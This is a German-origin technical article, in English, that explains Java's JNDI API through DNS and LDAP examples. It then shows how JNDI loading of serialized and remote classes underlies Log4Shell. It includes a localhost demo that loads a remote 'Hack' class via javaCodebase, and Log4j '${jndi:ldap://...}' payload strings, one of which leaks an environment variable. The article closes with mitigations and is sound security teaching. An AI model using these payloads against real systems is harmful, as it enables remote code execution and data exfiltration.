Dieser Artikel ist auch auf Deutsch verfügbar

I would never have imagined that one day I would be writing an article on the Java Naming and Directory Interface (JNDI). For a long time I only knew JNDI as a mechanism to get a database connection in an application server like Apache Tomcat. But then in December 2021 the Log4Shell vulnerability hit us, and suddenly everyone was talking about JNDI again. So this is a good opportunity to take a look at what JNDI is actually intended for and what role it plays in the security flaw.

As is so often the case in Java, JNDI is an abstraction of various concrete technologies. In this case the programming interface abstracts the access to name and directory services. The two best-known representatives of this are probably the Domain Name System (DNS) and the Lightweight Directory Access Protocol (LDAP).

So that additional technologies can also be attached via the abstraction of JNDI, JNDI consists of two parts. The application programming interface (API) is the part which we use within an application. The service provider interface (SPI) offers the mentioned possibility to provide further implementations for JNDI.

In this article however we deal exclusively with the API side. After a brief introduction to the general concepts of JNDI, we will look at some examples with DNS and LDAP. We then turn our attention back to Log4Shell and learn which functionality of JNDI was exploited.

Concepts of JNDI

The core idea of name services is to store an object under a name. For example, in a DNS server we store the IP address of a domain name. In JNDI this is mapped with the two interfaces javax.naming.Binding and javax.naming.Name.

In addition, we need a context (javax.naming.Context), which represents a bracket across multiple bindings. A context can also contain further subcontexts should the service be hierarchically structured.

In addition to this, there is a second package, javax.naming.directory, which is intended for directory services. Directory services extend naming services with attributes (javax.naming.directory.Attribute) that can be bound to objects. However, to work with them we need a special context (javax.naming.directory.DirContext). This context allows us to also perform a search for objects with specific attribute values.

DNS

One of the default JNDI implementations in the JDK is DNS. DNS is primarily used to store a mapping of domain names to IP addresses, so-called A records. However, in addition to these, there are other possible records that are managed using DNS. For example, MX records point to the mail servers responsible for a domain, and TXT records let us make arbitrary entries for a domain. These are used, for example, by Let’s Encrypt to prove that a domain really belongs to me.

The JNDI implementation attaches the individual records as attributes to an object. For a DNS query (see Listing 1) we therefore use DirContext in combination with the getAttributes method.

var env = new Hashtable<>();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(PROVIDER_URL, "dns://8.8.8.8");

String domain = "mvitz.de";
String[] records = { "A", "TXT", "MX" };

DirContext ctx = new InitialDirContext(env);
var attributes = ctx.getAttributes(domain, records).getAll();
while(attributes.hasMore()) {
    Attribute a = attributes.next();
    System.out.println(a.getID());
    var values = a.getAll();
    while (values.hasMore()) {
        System.out.println(values.next());
    }
    System.out.println();
}
attributes.close();
Listing 1: Reading the A, TXT, and MX records for a domain with JNDI

The age of the API becomes apparent in two places in particular. First, we have to use a Hashtable for configuration when creating InitialDirContext. Second, the getAll method returns us a NamingEnumeration<? extends Attribute>. So to iterate over all attributes we can’t use a for-each loop, and creating a stream is also not directly possible, instead requiring a while loop in combination with hasMore and next.

Apart from that, the code outputs what we would expect. We get a listing of the A, TXT, and MX records of the domain mvitz.de (see Listing 2).

TXT
keybase-site-verification=...
"v=spf1 a mx ip4:85.31.184.0/25 ... ~all"

A
185.199.108.153

MX
10 mx10.kundencontroller.de.
20 mx20.kundencontroller.de.
Listing 2: Result of the DNS Query

LDAP

In addition to DNS, an implementation for LDAP queries is also part of JNDI. LDAP is mainly known for managing users and their passwords, along with other properties. Probably the most well-known representative for this is ActiveDirectory from Microsoft.

However, LDAP is actually a generic database including a query language in which we can store and query objects and attributes in a tree. LDAP, like SQL databases, relies on schemas that describe objects and their attributes. So we cannot store whatever we want there, but need an exact description of the structure in advance.

For the following examples we use OpenLDAP, which we start via Docker (see Listing 3). Afterwards, the LDAP server is locally accessible on localhost at ports 389 and 689 and we can query it by means of JNDI. To do this, we create analogous to the previous DNS query an InitialDirContext with a suitable environment, as shown in Listing 4.

docker run \
    --rm \
    -p 389:389 \
    -p 636:636 \
    --env LDAP_ORGANISATION="mvitz.de" \
    --env LDAP_DOMAIN="mvitz.de" \
    --env LDAP_BASE_DN="dc=mvitz,dc=de" \
    --volume ... \
    osixia/openldap:1.5.0 \
    --copy-service
Listing 3: Starting OpenLDAP with Docker
var env = new Hashtable&lt;&gt;();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(PROVIDER_URL, "ldap://localhost:389/dc=mvitz,dc=de");
env.put(SECURITY_PRINCIPAL, "cn=admin,dc=mvitz,dc=de");
env.put(SECURITY_CREDENTIALS, "admin");

var ctx = new InitialDirContext(env);

var people = ctx.listBindings("ou=People");
while (people.hasMore()) {
    Binding person = people.next();
    var attributes = ctx.getAttributes(person.getName() + ",ou=People");
    var cn = attributes.get("cn");
    System.out.println(cn.get());
}
Listing 4: Output of the Attribute cn for Every Object below People

Using listBindings we get, again analogous to getAttributes from the DNS example, a NamingEnumeration. This time, however, it contains Bindings. We now use the name of these bindings to fetch the attributes for the entry by means of getAttributes and then output the attribute cn In this case, instead of listBindings, we could have also used list, since we are not using the returned object, but only using the name to retrieve the attributes.

In addition to the listing, we can also use JNDI to perform a search, as seen in Listing 5. In this case, we search below ou=People for all objects that have the ou attribute set to Jedi. The result of the search should also contain the cn attribute in addition to the name, which we then output. The JNDI API of course also provides us with methods to modify objects and attributes. In Listing 6 for example we change the attribute cn of the object with the name uid=leia,ou=People.

var searchControls = new SearchControls();
searchControls.setSearchScope(SUBTREE_SCOPE);
searchControls.setReturningAttributes(new String[] { "cn" });

var result = ctx.search("ou=People", "ou=Jedi", searchControls);
while (result.hasMore()) {
    var next = result.next();
    System.out.println(next.getAttributes().get("cn").get());
}
Listing 5: LDAP Search with JNDI
var newAttribute = new BasicAttribute("cn", "Leia Skywalker");

var modification = new ModificationItem(REPLACE_ATTRIBUTE, newAttribute);
ModificationItem[] modifications = { modification };

ctx.modifyAttributes("uid=leia,ou=People", modifications);

var modifiedAttribute = ctx.getAttributes("uid=leia,ou=People").get("cn");
System.out.println(modifiedAttribute.get());
Listing 6: Changing an LDAP Attribute with JNDI

Since LDAP is probably the most prominent representative for JNDI, we could have used the interfaces from the dedicated package javax.naming.ldap for these queries. These map additional special LDAP concepts that cannot be used by means of the more generic JNDI API. However, these are not needed for the examples shown here.

Loading Code from LDAP

So far we have seen what DNS and LDAP queries and modifications look like with JNDI. But which aspect of this is part of such a devastating vulnerability?

So far, although we have used listBindings to retrieve bindings from the server that link a name with an object, we have not used the object. And it is exactly this usage that is the problem. Because JNDI offers us the possibility to query serialized Java objects and also to use them afterwards.

To do so we store some objects in the LDAP server (see Listing 7). By specifying objectclass, the LDAP server knows which schema the objects follow and which attributes are possible. In addition, we set the two attributes javaclassname and javaSerializedData.

dn: ou=Objects,{{ LDAP_BASE_DN }}
objectClass: top
objectClass: organizationalUnit
ou: Objects

dn: cn=Map,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: java.util.HashMap
javaSerializedData:: ...

dn: cn=Integer,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: java.lang.Integer
javaSerializedData:: ...

dn: cn=Person,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: de.mvitz.jndi.Person
javaSerializedData:: ...
Listing 7: LDIF Entries for Serialized Java Objects in LDAP

As already seen, we can now query these entries with JNDI (see Listing 8). However, as soon as we now use the bound object, the serialized object state stored in LDAP is loaded. The direct lookup is only used here to be able to cast the object directly. We could have alternatively gained access to the object during iteration by means of all bindings with getObject. The output (see Listing 9) shows that we can store and retrieve objects from the JDK itself (HashMap) as well as our own classes (Person), as long as this class implements the java.io.Serializable interface.

System.out.println("Listing all objects");
var objects = ctx.listBindings("ou=Objects");
while (objects.hasMore()) {
    Binding object = objects.next();
    System.out.println(" " + object.getName() + ": " + object.getClassName());
}
System.out.println();

System.out.println("HashMap");
var map = (Map) ctx.lookup("cn=Map,ou=Objects");
map.forEach((key, value) -&gt;
    System.out.println(" " + key + ": " + value));
System.out.println();

System.out.println("Person");
var person = (Person) ctx.lookup("cn=Person,ou=Objects");
System.out.println(person);
System.out.println(person);
System.out.println();
Listing 8: Loading Serialized Java Objects from LDAP with JNDI
Listing all objects
 cn=Map: java.util.HashMap
 cn=Person: de.mvitz.jndi.Person
 cn=Integer: java.lang.Integer

HashMap
 name: Michael Vitz
 organziation: innoQ Deutschland GmbH

Person
Person Michael Vitz @ 1644219043697
Person Michael Vitz @ 1644219043701
Listing 9: Output of Serialized Java Objects from LDAP

In this way it is possible to reload code within an application. But of course, it not only allows us to do this, but potentially attackers as well. So far, this possibility is limited to classes that our application knows. So the attacker would have to find a combination of existing classes that are exploitable by further vulnerabilities.

However, JNDI also allows us to dynamically reload classes unknown to the application. To do so we set in the LDAP the attribute javaCodebase in addition to the two attributes javaclassname and javaSerializedData. For the entry in Listing 10, we set this value to a URL where a JAR file is accessible via HTTP. JNDI now dynamically loads not only the object but also the previously unknown class en.mvitz.jndi.remote.Hack during the lookup (see Listing 11). The two calls to System.out.println with the loaded object subsequently execute the toString method on the instance. In this way it is possible to reload arbitrary code as long as the application can reach the location specified in javaCodebase.

dn: cn=Hack,ou=Objects,{{ LDAP_BASE_DN }}
objectclass: top
objectclass: javaObject
objectclass: javaSerializedObject
objectclass: javaContainer
javaclassname: de.mvitz.jndi.remote.Hack
javaSerializedData:: ...
javaCodebase: http://localhost:8000/remote/build/hack.jar
Listing 10: LDIF with Serialized Java Object of an Unknown Class
System.out.println("Hack");
var hack = ctx.lookup("cn=Hack,ou=Objects");
System.out.println(hack);
System.out.println(hack);
Listing 11: Execution of Foreign Code by Means of JNDI

However, this dynamic reloading of classes with JNDI fortunately no longer automatically works in newer versions of the JDK. If we need this functionality, we have to explicitly set the Java system property com.sun.jndi.ldap.object.trustURLCodebase to true when starting the application.

Log4Shell

How is JNDI related to Log4Shell? As with many security vulnerabilities, it is a combination of several factors that, when combined, become a problem.

Using the syntax ${...}, Log4j allows parameters to be included in log messages. The parameters can be loaded from different sources. One possibility is to execute a JNDI lookup using ${jndi:...}.

If the attacker now manages to get us to log such a string, for example by sending a matching HTTP header or query parameter, it is possible, in combination with JNDI, to reload code, as shown above. If dynamic class reloading is enabled, arbitrary code can now be executed. If it is disabled, as is the case by default, an attempt can still be made to exploit classes already present in the application. Schematically, the calls then look as shown in Listing 12 and lead to the output shown in Listing 13.

logger.error("${jndi:ldap://localhost:389/cn=Person,ou=Objects,dc=mvitz,dc=de}");
logger.error("${jndi:ldap://localhost:389/${env:HOME}}");
Listing 12: Log4J Logging with JNDI Parameter Lookups
18:07:... ERROR ...Log4Shell - Person Michael Vitz @ 1644340023509
18:07:... ERROR ...Log4Shell - ${jndi:ldap://localhost:389/${env:HOME}}
Listing 13: Generated Log Output

We can see here that the first lookup was successfully executed and as output we get the value of the toString method of our instance from the LDAP.

If the deserialization from the first log statement does not allow an attack, we can still try to retrieve values in conjunction with a lookup for environment variables. Listing 14 shows the log of the LDAP server for the second log statement, where we can read the concrete value of the environment variable HOME from the server.

6202a337 conn=1002 op=1 do_search: invalid dn: "/Users/mvitz"
Listing 14: LDAP Log

To protect ourselves against this specific vulnerability, Log4j must be updated to at least version 2.17.1. It is also advisable to use an up-to-date JDK. In addition, it may be useful to restrict outgoing network traffic and thus only allow connections to known destinations.

Developers who want to go even further can also use Java Security Manager to further restrict which code is allowed to call the JNDI API. However, the Security Manager was deprecated in JDK 17 with JEP 411 and marked for removal. It is therefore questionable whether this option will be available for much longer.

Conclusion

In this article we looked at the Java Naming and Directory Interface. This is designed to interact with naming and directory services, such as DNS or LDAP, without depending on a specific implementation.

To do this, JNDI lets us query, create, and change bindings (an assignment of an object to a name) and attributes (properties of an object). We looked at this with examples for DNS and LDAP.

In addition, we learned about the possibility of using JNDI to load serialized Java objects. In addition to objects for already known classes, we also saw that it is possible to dynamically reload unknown classes. Lastly, we took a quick look at how this led to the Log4Shell vulnerability.

The complete, executable sample code from this article can be found at https://github.com/mvitz/javaspektrum-jndi.